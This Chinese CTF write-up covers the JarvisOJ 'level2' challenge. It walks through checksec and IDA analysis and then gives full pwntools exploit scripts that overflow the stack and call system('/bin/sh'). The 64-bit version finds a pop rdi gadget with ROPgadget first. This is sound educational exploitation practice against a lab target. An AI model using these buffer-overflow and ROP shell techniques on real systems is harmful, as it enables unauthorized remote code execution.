level2

作者: n0va | 来源:发表于2019-03-21 21:37 被阅读0次

    先checksec ,只开了NX

    image.png

    IDA分析:栈溢出,而且也可以看到是有system函数的

    image.png

    shift + F12看一下字符串,发现也是存在/bin/sh

    image.png

    于是我们就可以调用system("/bin/sh")
    32位exp:

    #-*- coding:utf-8 -*-
    from pwn import *
    # context.log_level = 'debug'
    # p = process('./level2')
    p = remote("pwn2.jarvisoj.com","9878")
    system = 0x8048320
    binsh = 0x804A024
    #system("/bin/sh")
    payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #将/bin/sh压入栈中作为system 的参数
    p.sendline(payload)
    p.interactive()
    

    ===================================================================================
    因为64位程序函数的前6个参数是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要调用system('/bin/sh')首先要将/bin/sh放到rdi寄存器中去,所以就需要找到pop_rdi_ret的gadget来利用

    $ ROPgadget --binary level2_x64 --only "pop|ret"
    Gadgets information
    ============================================================
    0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004006b0 : pop r14 ; pop r15 ; ret
    0x00000000004006b2 : pop r15 ; ret
    0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
    0x0000000000400560 : pop rbp ; ret
    0x00000000004006b3 : pop rdi ; ret
    0x00000000004006b1 : pop rsi ; pop r15 ; ret
    0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004004a1 : ret
    Unique gadgets found: 11
    

    64位exp:

    #-*-coding:utf -8-*-
    from pwn import *
    # p = process('./level2_x64')
    p = remote("pwn2.jarvisoj.com","9882")
    system_plt = 0x4004c0
    binsh = 0x600a90
    pop_rdi = 0x4006b3
    payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
    p.sendline(payload) 
    p.interactive()
    

    相关文章

      网友评论

          本文标题:level2

          本文链接:https://www.haomeiwen.com/subject/ncyhvqtx.html